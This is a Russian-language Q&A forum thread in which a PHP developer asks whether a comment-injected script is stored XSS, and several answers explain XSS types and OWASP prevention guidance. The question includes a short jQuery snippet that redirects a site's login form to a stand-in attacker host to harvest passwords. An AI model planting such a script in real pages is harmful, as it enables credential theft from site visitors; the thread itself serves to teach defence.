Пользовательский ввод HTML с Javascript, который отображается для других, но не HTML-экранированный пример XSS - PullRequest
12 голосов
/ 22 января 2012

Я разработчик PHP, и я стремлюсь повысить безопасность своих сайтов.

Из того, что я понимаю, есть два основных типа уязвимостей, которые влияют на веб-приложения:

  • SQL-инъекция
  • XSS

Внедрение SQL можно исправить с помощью подготовленных операторов - просто.

Но я все еще не получаю XSS - это следующий пример XSS? ...

  • Страница, заполненная пользовательским контентом, имеет вверху форму входа (для всего сайта).
  • Вход пользователя на страницу не экранирован HTML.
  • Пользователь размещает на странице следующий контент (например, комментарий) ...
A really nice comment

<!-- now an evil script (example here with jquery, but easily done without) --->
<script type="text/javascript">
$(document).ready(function() {
    $('#login_form').attr('action','http://somehackysite.com/givemeyourpw.php');
});
</script>
  • На страницу заходит невинный пользователь, скрипт выполняется.
  • Невинный пользователь понимает, что он не вошел в систему, и вводит свои данные в форму.
  • Данные пользователя отправляются на http://somehackysite.com/givemyourpw.php, а затем данные учетной записи пользователя украдены.

Итак, у меня действительно есть три вопроса:

  1. Будет ли это работать?
  2. Это XSS?
  3. Есть ли какие-либо меры предосторожности, которые разработчики должны принять против XSS, кроме выхода из HTML?

Ответы [ 4 ]

5 голосов
/ 22 января 2012

Это XSS?

Да, это недостаток внедрения в целом, и в данном конкретном случае он будет называться XSS-эксплойтом, поскольку был внедрен JavaScript.

Но этот недостаток внедрения, при котором ввод одного пользователя отражается другими пользователями без каких-либо изменений, может также привести к другим атакам, таким как defacement .

Будет ли это работать?

Да, весьма вероятно, что это будет работать, поскольку исходный сервер, обслуживающий этот код, перехватывается, как любой другой код на веб-странице. Таким образом, автор веб-сайта является автором этого кода и будет рассматриваться аналогично.

Существуют ли какие-либо меры предосторожности, которые разработчики должны принять против XSS, кроме выхода из HTML?

На самом деле существует три различных типа XSS: XSS на основе DOM , Отраженный XSS и Сохраненный / постоянный XSS ). Ваш пример - это сохраненный / устойчивый эксплойт XSS, поскольку сервер развертывает эксплойт с каждым запросом.

Общее правило - не доверять никаким пользовательским данным. При этом следует разрешить либо только допустимый пользовательский ввод, либо пользовательский ввод фильтруется (удаляются недопустимые значения) или корректно кодируется (преобразуется недопустимые значения) перед его выводом. См. Шпаргал OWASP XSS для получения дополнительной информации.

5 голосов
/ 22 января 2012

Существует два типа атак XSS: отраженные атаки XSS и постоянные атаки XSS.То, что вы описали, когда пользователь сайта вводит данные, которые сохраняются на стороне сервера и отображается для всех, кто просматривает страницу, считается постоянным XSS.Подобные атаки возможны, если у вас есть поле для комментариев к сообщению, в котором отсутствует экранирование Javascript, или страница профиля, в которую я могу поместить что угодно.

Другой класс атак XSS - это отраженный XSS.Это немного сложнее, но они составляют один из аргументов в URL для страницы, которую нельзя экранировать.Они часто встречаются на страницах поиска на крупных сайтах.Вы получите URL, который включает в себя некоторый javascript (извините, мой пример был искажен рендерером здесь, поэтому я не могу показать вам пример), и страница отобразит javascript, который позволил бы кому-то создать вредоносный код.URL.Это особенно опасно на сайтах, которые передают любые финансовые данные;представьте себе добросовестного пользователя, который всегда проверяет, собирается ли он перейти по ссылке на запись в свой банк, но из-за атаки с использованием отраженного XSS злоумышленник может отправить его на допустимую страницу на веб-сайте своего банка, но при этом онкод в нем.

В любом случае, ваш пример - Persistent XSS.С такими атаками вы можете совершать еще более гнусные поступки, чем просто изменять, куда отправляет пользователей форма входа в систему.В течение многих лет они были популярны, например, собирая информацию из личных областей сайтов или в сочетании с CSRF, чтобы заставить аутентифицированного пользователя что-то делать, просто просматривая страницу.Некоторое время назад было несколько вирусов MySpace, которые сделали это и распространились из профиля в профиль.

0 голосов
/ 22 января 2012

Да, это пример базовой постоянной атаки XSS.В этой ситуации пользователь может не только украсть учетные данные, но и попытаться заразить посетителей или спам-ссылки на вашем сайте.

Руководство по профилактике OWASP XSS - хорошее начало.https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet

0 голосов
/ 22 января 2012

это xss, и я верю, что это тоже инъекция JavaScript
так что я думаю эта ссылка поможет

Добро пожаловать на сайт PullRequest, где вы можете задавать вопросы и получать ответы от других членов сообщества.
...